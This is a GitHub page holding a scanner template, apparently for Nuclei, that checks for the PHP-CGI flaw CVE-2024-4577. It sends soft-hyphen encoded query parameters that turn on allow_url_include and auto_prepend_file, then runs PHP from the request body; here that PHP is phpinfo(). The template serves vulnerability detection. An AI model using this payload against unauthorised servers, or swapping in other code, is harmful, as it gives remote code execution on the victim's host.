-
Notifications
You must be signed in to change notification settings - Fork 10
/
CVE-2024-4577.yaml
42 lines (34 loc) · 1.15 KB
/
CVE-2024-4577.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
id: CVE-2024-4577
info:
name: PHP Remote Code Execution via allow_url_include and auto_prepend_file
author: 19whoami19
severity: critical
description: Attempts to execute remote PHP code by manipulating PHP INI settings through query parameters.
reference:
- https://www.php.net/manual/en/ini.core.php#ini.allow-url-include
- https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file
tags: rce,php
requests:
- method: POST
path:
- "{{BaseURL}}/test.hello?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input"
- "{{BaseURL}}/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
headers:
User-Agent: "curl/8.3.0"
Accept: "*/*"
Content-Type: "application/x-www-form-urlencoded"
Connection: "keep-alive"
body: |
<?php
phpinfo();
?>
matchers-condition: and
matchers:
- type: word
words:
- "PHP Version" # Common output in phpinfo()
part: body
- type: status
status:
- 200